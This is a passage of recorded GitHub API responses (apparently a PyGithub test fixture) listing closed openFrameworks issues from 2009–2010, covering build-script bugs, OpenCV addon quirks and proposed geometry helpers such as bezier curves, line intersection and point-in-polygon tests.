windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:27:25Z","created_at":"2010-01-06T00:14:22Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":107250,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:27:25Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?p=16600&#p16600","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/110","comments":1,"milestone":null,"number":110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/110","assignee":null,"title":"ofToDataPath absolute paths on osx seem broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:27:25Z","created_at":"2010-01-05T23:34:48Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":107220,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T20:27:25Z","body":"missing the new additions of ofxQuarternion and ofxMatrix4x4\r\n\r\n\t\r\n\t\t../../../addons/ofxVectorMath/src/ofxMatrix3x3.h\r\n\t\t../../../addons/ofxVectorMath/src/ofxVec2f.h\r\n\t\t../../../addons/ofxVectorMath/src/ofxVec3f.h\r\n\t\t../../../addons/ofxVectorMath/src/ofxVec4f.h\r\n\t\t../../../addons/ofxVectorMath/src/ofxMatrix3x3.cpp\r\n\t\t../../../addons/ofxVectorMath/src/ofxVectorMath.h\r\n\t\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/109","comments":1,"milestone":null,"number":109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/109","assignee":null,"title":"ofxVectorMath - install.xml is out of date","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:27:25Z","created_at":"2010-01-04T12:06:10Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":106072,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T15:41:27Z","body":"also, maybe we should add curve tightness ala p5?\n\n\tofPoint bezierPoint( ofPoint a, ofPoint b, ofPoint c, ofPoint d, float t){\n\t\tfloat tp = 1.0 - t;\n\t\treturn a*tp*tp*tp + b*3*t*tp*tp + c*3*t*t*tp + d*t*t*t;\n\t}\n\n\tofPoint curvePoint( ofPoint a, ofPoint b, ofPoint c, ofPoint d, float t){\n\t\t\n\t\tofPoint pt;\n\t\tfloat t2 = t * t;\n\t\tfloat t3 = t2 * t;\n\t\tpt.x = 0.5f * ( ( 2.0f * b.x ) +\n\t\t\t\t\t ( -a.x + c.x ) * t +\n\t\t\t\t\t ( 2.0f * a.x - 5.0f * b.x + 4 * c.x - d.x ) * t2 +\n\t\t\t\t\t ( -a.x + 3.0f * b.x - 3.0f * c.x + d.x ) * t3 );\n\t\tpt.y = 0.5f * ( ( 2.0f * b.y ) +\n\t\t\t\t\t ( -a.y + c.y ) * t +\n\t\t\t\t\t ( 2.0f * a.y - 5.0f * b.y + 4 * c.y - d.y ) * t2 +\n\t\t\t\t\t ( -a.y + 3.0f * b.y - 3.0f * c.y + d.y ) * t3 );\n\t\treturn pt;\n\t}\n\n\tofPoint bezierTangent( ofPoint a, ofPoint b, ofPoint c, ofPoint d, float t){\n\t\treturn (d-a-c*3+b*3)*(t*t)*3 + (a+c-b*2)*t*6 - a*3+b*3;\n\t}\n\n\tofPoint curveTangent( ofPoint a, ofPoint b, ofPoint c, ofPoint d, float t){\n\t\tofPoint v0 = ( c - a )*0.5;\n\t\tofPoint v1 = ( d - b )*0.5;\n\t\treturn ( b*2 -c*2 + v0 + v1)*(3*t*t) + ( c*3 - b*3 - v1 - v0*2 )*( 2*t) + v0;\n\t\t\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/108","comments":1,"milestone":null,"number":108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/108","assignee":null,"title":"curvePoint, bezierPoint, curveTangent, bezierTangent...","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T15:41:27Z","created_at":"2010-01-01T23:47:41Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":105124,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T15:40:07Z","body":"more poly utils : )\n\nit's indeed LineSegmentCross and LineSegmentIntersection:\n\nbool LineCross(ofPoint Line1Start, ofPoint Line1End, ofPoint Line2Start, ofPoint Line2End){\n ofPoint diffLA, diffLB;\n float compareA = 0, compareB = 0;\n bool result = false;\n diffLA = Line1End - Line1Start;\n diffLB = Line2End - Line2Start;\n compareA = diffLA.x*Line1Start.y - diffLA.y*Line1Start.x;\n compareB = diffLB.x*Line2Start.y - diffLB.y*Line2Start.x;\n if (\n \t(\n \t\t( ( diffLA.x*Line2Start.y - diffLA.y*Line2Start.x ) < compareA ) xor\n \t\t( ( diffLA.x*Line2End.y - diffLA.y*Line2End.x ) < compareA )\n \t) and\n \t(\n \t\t( ( diffLB.x*Line1Start.y - diffLB.y*Line1Start.x ) < compareB ) xor\n \t\t( ( diffLB.x*Line1End.y - diffLB.y*Line1End.x) < compareB )\n \t)\n ) result = true;\n\n return result;\n}\n\nofPoint LineIntersection(ofPoint Line1Start, ofPoint Line1End, ofPoint Line2Start, ofPoint Line2End){\n\n float LDetLineA, LDetLineB, LDetDivInv;\n ofPoint LDiffLA, LDiffLB, Result;\n\n LDetLineA = Line1Start.x*Line1End.y - Line1Start.y*Line1End.x;\n LDetLineB = Line2Start.x*Line2End.y - Line2Start.y*Line2End.x;\n LDiffLA = Line1Start - Line1End;\n LDiffLB = Line2Start - Line2End;\n LDetDivInv = 1 / ((LDiffLA.x*LDiffLB.y) - (LDiffLA.y*LDiffLB.x));\n Result.x = ((LDetLineA*LDiffLB.x) - (LDiffLA.x*LDetLineB)) * LDetDivInv ;\n Result.y = ((LDetLineA*LDiffLB.y) - (LDiffLA.y*LDetLineB)) * LDetDivInv ;\n\n return Result;\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/106","comments":1,"milestone":null,"number":106,"html_url":"https://github.com/openframeworks/openFrameworks/issues/106","assignee":null,"title":"ofLineCross & ofLineIntersection","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T15:40:07Z","created_at":"2009-12-29T11:33:01Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":103753,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T15:39:32Z","body":"Finally - one that works! Wish we had got this into 0061\n\nCould be more efficient maybe? - replace the while by an if and then calculate the number of rotations needed to wind/unwind. \n\n\tfloat ofLerpDegrees(float currentAngle, float targetAngle, float pct) {\n\t\twhile(targetAngle - currentAngle > 180.0f) targetAngle -= 360.0f;\n\t\twhile(targetAngle - currentAngle < -180.0f) targetAngle += 360.0f;\n\t\t\n\t\treturn currentAngle + (targetAngle - currentAngle) * pct;\n\t}\n\n\tfloat ofLerpRadians(float currentAngle, float targetAngle, float pct) {\n\t\twhile(targetAngle - currentAngle > PI) targetAngle -= TWO_PI;\n\t\twhile(targetAngle - currentAngle < -PI) targetAngle += TWO_PI;\n\t\t\n\t\treturn currentAngle + (targetAngle - currentAngle) * pct;\n\t}\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/105","comments":3,"milestone":null,"number":105,"html_url":"https://github.com/openframeworks/openFrameworks/issues/105","assignee":null,"title":"ofLerpDegrees, ofLerpRadians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T15:39:32Z","created_at":"2009-12-28T15:13:47Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":103333,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T15:39:15Z","body":"\t//------------------------------\n\tbool InsidePolygon( vector &polygon, ofPoint &p){\n\t int counter = 0;\n\t int i;\n\t double xinters;\n\t ofPoint p1,p2;\n\t \n\t int N = polygon.size();\n\n\t p1 = polygon[0];\n\t for (i=1;i<=N;i++) {\n\t\tp2 = polygon[i % N];\n\t\tif (p.y > MIN(p1.y,p2.y)) {\n\t\t if (p.y <= MAX(p1.y,p2.y)) {\n\t\t\tif (p.x <= MAX(p1.x,p2.x)) {\n\t\t\t if (p1.y != p2.y) {\n\t\t\t\txinters = (p.y-p1.y)*(p2.x-p1.x)/(p2.y-p1.y)+p1.x;\n\t\t\t\tif (p1.x == p2.x || p.x <= xinters)\n\t\t\t\t counter++;\n\t\t\t }\n\t\t\t}\n\t\t }\n\t\t}\n\t\tp1 = p2;\n\t }\n\n\t if (counter % 2 == 0) return false;\n\t else return true;\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/104","comments":1,"milestone":null,"number":104,"html_url":"https://github.com/openframeworks/openFrameworks/issues/104","assignee":null,"title":"ofInsidePolygon","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T15:39:15Z","created_at":"2009-12-28T14:58:43Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":103328,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-06-07T15:38:53Z","body":"bool InsideRect(ofRectangle &rect, ofPoint &p){\r\n\tif( p.x < rect.x || p.y < rect.y || p.x > rect.x + rect.width || p.y > rect.y + rect.height ){\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nalternatively could be a method of ofRectangle maybe?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/103","comments":1,"milestone":null,"number":103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/103","assignee":null,"title":"ofInsideRect","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-06-07T15:38:53Z","created_at":"2009-12-28T14:58:11Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":103327,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-27T16:45:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3042&p=16425#p16425","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/102","comments":1,"milestone":null,"number":102,"html_url":"https://github.com/openframeworks/openFrameworks/issues/102","assignee":null,"title":"problem with ofArduino and vs2008","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-27T16:45:56Z","created_at":"2009-12-27T16:45:02Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":103021,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=35&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '24090'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"df0e51a467dbfca0e3fc6a0c3a781c4d"'), ('date', 'Tue, 29 May 2012 18:46:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2009-12-27T16:49:15Z","body":"this:\r\nfloat scalef = 1.0/255.0; \r\ncvMul( cvImage, mom.getCvImage(), cvImageTemp, scalef );\r\n\r\nseems to make the operator* behave like a division. ie when multiplying by a image with every pixel to 255 the result is the same as the original or when multiplying by everything to 25 the result is 10% of the original luminace.\r\n\r\nthis:\r\n\r\ncvMul( cvImage, mom.getCvImage(), cvImageTemp, 1);\r\n\r\nmakes it behave as a pixel by pixel multiplication","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/101","comments":1,"milestone":null,"number":101,"html_url":"https://github.com/openframeworks/openFrameworks/issues/101","assignee":null,"title":"ofxCvImage operator* seems to behave like division","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-27T16:49:15Z","created_at":"2009-12-23T22:17:30Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":102062,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-21T21:34:00Z","body":"at the moment, it's listed as: \r\n\r\nquicktime/CIncludes\r\n\r\nneeds to be changed since the quicktime folder structure has been changed. (at the moment, the lib doesn't compile because it can't find QTML.h, etc). \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/100","comments":0,"milestone":null,"number":100,"html_url":"https://github.com/openframeworks/openFrameworks/issues/100","assignee":null,"title":"visual studio compiled lib has old quicktime include path","labels":[],"closed_at":"2009-12-21T21:34:00Z","created_at":"2009-12-21T18:22:06Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":100941,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-21T21:28:08Z","body":"I needed to add in a command line switch \n\n--target=\"release\"\n\nat least to the compiledLib to get everything to compile fine via the script as only the debug was compiled...\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/99","comments":0,"milestone":null,"number":99,"html_url":"https://github.com/openframeworks/openFrameworks/issues/99","assignee":null,"title":"codeblocks build all script needs targets","labels":[],"closed_at":"2009-12-21T21:28:08Z","created_at":"2009-12-21T16:30:14Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":100878,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-26T21:03:10Z","body":"\r\nxcode seems unhappy with the += with colorImages, but it is with grayscale for: \r\n\r\nimageA += imageB\r\n\r\nerror: no match for 'operator+=' in '((testApp*)this)->testApp::imageA += ((testApp*)this)->testApp::imageB\r\n\r\nseems to be fixed when I do: \r\n\r\n(ofxCvImage&)imageA += (ofxCvImage&)imageB;","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/98","comments":2,"milestone":null,"number":98,"html_url":"https://github.com/openframeworks/openFrameworks/issues/98","assignee":null,"title":"ofxOpenCv - colorImage += colorImage seems to be a problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T21:03:10Z","created_at":"2009-12-20T00:06:23Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":100255,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-14T12:49:00Z","body":"if the zips are already there it adds to them. \r\nshould do an rm for the zips before creating the archive. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/97","comments":1,"milestone":null,"number":97,"html_url":"https://github.com/openframeworks/openFrameworks/issues/97","assignee":null,"title":"create_package not zipping folders properly","labels":[],"closed_at":"2009-12-14T12:49:00Z","created_at":"2009-12-14T10:11:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":97080,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-27T16:44:04Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/96","comments":2,"milestone":null,"number":96,"html_url":"https://github.com/openframeworks/openFrameworks/issues/96","assignee":null,"title":"add readme files","labels":[],"closed_at":"2009-12-27T16:44:04Z","created_at":"2009-12-11T16:00:26Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":95944,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-11T14:30:22Z","body":"of_preRelease_v0061_osx_FAT.zip => unzips to of_preRelease_v0061_osx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/95","comments":1,"milestone":null,"number":95,"html_url":"https://github.com/openframeworks/openFrameworks/issues/95","assignee":null,"title":"create_package.sh - FAT folder unzipping to folder name without FAT ","labels":[],"closed_at":"2009-12-11T14:30:22Z","created_at":"2009-12-11T13:00:44Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":95857,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-11T15:00:13Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/94","comments":3,"milestone":null,"number":94,"html_url":"https://github.com/openframeworks/openFrameworks/issues/94","assignee":null,"title":"create_package.sh - remove other platform libs and examples from addons/ folder","labels":[],"closed_at":"2009-12-11T15:00:13Z","created_at":"2009-12-11T12:58:51Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":95855,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-11T14:20:23Z","body":"currently we have both and it is confusing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/93","comments":0,"milestone":null,"number":93,"html_url":"https://github.com/openframeworks/openFrameworks/issues/93","assignee":null,"title":"Pick win_vs2008 or vs2008!","labels":[],"closed_at":"2009-12-11T14:20:23Z","created_at":"2009-12-11T12:58:00Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":95853,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-11T14:20:16Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/92","comments":0,"milestone":null,"number":92,"html_url":"https://github.com/openframeworks/openFrameworks/issues/92","assignee":null,"title":"create_package.sh leaving win_vs2008 libs in osx folder","labels":[],"closed_at":"2009-12-11T14:20:16Z","created_at":"2009-12-11T12:57:21Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":95852,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-09T13:07:05Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/90","comments":0,"milestone":null,"number":90,"html_url":"https://github.com/openframeworks/openFrameworks/issues/90","assignee":null,"title":"3DModelLoaderExample win_cb has ofxDirList instead of ofx3DModelLoader","labels":[],"closed_at":"2009-12-09T13:07:05Z","created_at":"2009-12-09T01:36:33Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":94555,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T09:18:20Z","body":"loader says loaded but model contains no meshes","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/89","comments":5,"milestone":null,"number":89,"html_url":"https://github.com/openframeworks/openFrameworks/issues/89","assignee":null,"title":"ofx3dModelLoader not working on ppc macs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-10-17T09:18:20Z","created_at":"2009-12-07T14:48:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93555,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-10T11:19:53Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/88","comments":1,"milestone":null,"number":88,"html_url":"https://github.com/openframeworks/openFrameworks/issues/88","assignee":null,"title":"scripts/macosx build and run script for addons has addonExamples instead of addonsExamples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-10T11:19:53Z","created_at":"2009-12-07T14:26:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93543,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-08T16:47:20Z","body":"\r\n\r\nthey all need ofxThread added as in 0.06 to compile","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/87","comments":1,"milestone":null,"number":87,"html_url":"https://github.com/openframeworks/openFrameworks/issues/87","assignee":null,"title":"windows codeblocks addonsExamples/network * need ofxThread","labels":[],"closed_at":"2009-12-08T16:47:20Z","created_at":"2009-12-07T10:47:33Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":93458,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T14:08:24Z","body":"AdvancedEventsExample currently works - so use that as a base. \r\ntheo do this no one else. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/86","comments":1,"milestone":null,"number":86,"html_url":"https://github.com/openframeworks/openFrameworks/issues/86","assignee":null,"title":"xcode project files need freetype.a re-added ( for PPC machines ) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T14:08:24Z","created_at":"2009-12-07T03:38:37Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":93357,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T10:35:18Z","body":"of_prerelease_v0065_win_vs2008\\addons\\ofxvectorgraphics\\libs\\creeps.cpp(595) : error C2668: 'ns_creeps::sqrt' : ambiguous call to overloaded function\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/85","comments":1,"milestone":null,"number":85,"html_url":"https://github.com/openframeworks/openFrameworks/issues/85","assignee":null,"title":"creEps sqrt error","labels":[],"closed_at":"2009-12-07T10:35:18Z","created_at":"2009-12-07T03:15:06Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":93353,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-08T18:21:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/84","comments":1,"milestone":null,"number":84,"html_url":"https://github.com/openframeworks/openFrameworks/issues/84","assignee":null,"title":"linux makefiles are 